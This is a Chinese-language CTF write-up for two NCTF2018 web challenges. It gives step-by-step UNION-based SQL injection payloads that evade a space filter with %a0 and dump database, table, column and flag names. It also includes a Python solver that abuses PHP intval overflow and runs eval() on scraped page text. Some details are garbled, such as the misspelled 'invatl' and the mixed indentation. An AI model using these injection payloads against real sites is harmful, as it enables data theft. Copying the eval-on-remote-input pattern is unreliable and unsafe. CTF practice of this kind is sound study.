NCTF2018部分题WP(2)

第一题:滴!晨跑打卡

这道题过滤了空格,但是可以使用url编码来绕过,这里我们可以使用%a0,也就是加号来绕过。

首先查列数:

编码:1%27%a0union%a0select%a01,2,3%27#
NCTF2018部分题WP(2)
很明显可以查出是三列。

然后就是查数据库名:

编码:id=1%27%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(SCHEMA_NAME)%a0FROM%a0information_schema.SCHEMATA),3%271
NCTF2018部分题WP(2)
推断出这个库名是flaaaaaaag

查表名:

编码:id=1%27%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(table_name)%a0FROM%a0information_schema.tables%a0where%a0table_schema=%22flaaaaaaag%22),3%27
NCTF2018部分题WP(2)

查列名:

编码:id=1%27%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(column_name)%a0FROM%a0information_schema.columns%a0where%a0table_name=%22f144444444g%22),3%27
NCTF2018部分题WP(2)

爆库:

编码:id=1%27%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(th1s_1s_flag)%a0FROM%a0flaaaaaaag.f144444444g),3%27

NCTF2018部分题WP(2)

第二题:小绿草之最强大脑

NCTF2018部分题WP(2)

首先看网页源代码。第一反应就是CTF中常有的BAK文件。于是直接下载index.php.bak文件。
拿到源码:NCTF2018部分题WP(2)

我们知道int型最大的取值范围就是2^31次方,(无符号)。这里PHP使用了intval函数来防止整数溢出的危害。

在32位机器和64机器上的运行结果也是不一样的。
PHP脚本:

  <?Php echo invatl(‘4200000000000000000000’);?>

输出结果为:9223372036854775807

下面直接写python脚本:

NCTF2018部分题WP(2)

NCTF2018部分题WP(2)

#!/usr/bin/env python
import requests
import re
import time
s = requests.Session()
html = s.get(url="http://ctfgame.acdxvfsvd.net:20004/index.php")
while 1:    
    pattern = "(<div style=\"display:inline;\">.*?</div>)"
    ss = re.findall(pattern,html.text)
    calc = ""
    for i in range(0,len(ss)-1):
        calc = calc+ ss[i].replace("<div style=\"display:inline;\">","").replace("</div>","")
    number1 = '9223372036854775807+'
    result = eval(number1+calc)
    print result
    data = {
        'input':'4200000000000000000000',
        'ans':result
    }
	html=s.post("http://ctfgame.acdxvfsvd.net:20004/index.php",data)
    print html.text
    time.sleep(2)

转载请声明:CSDN程序小黑:https://mp.csdn.net/mdeditor/84472145#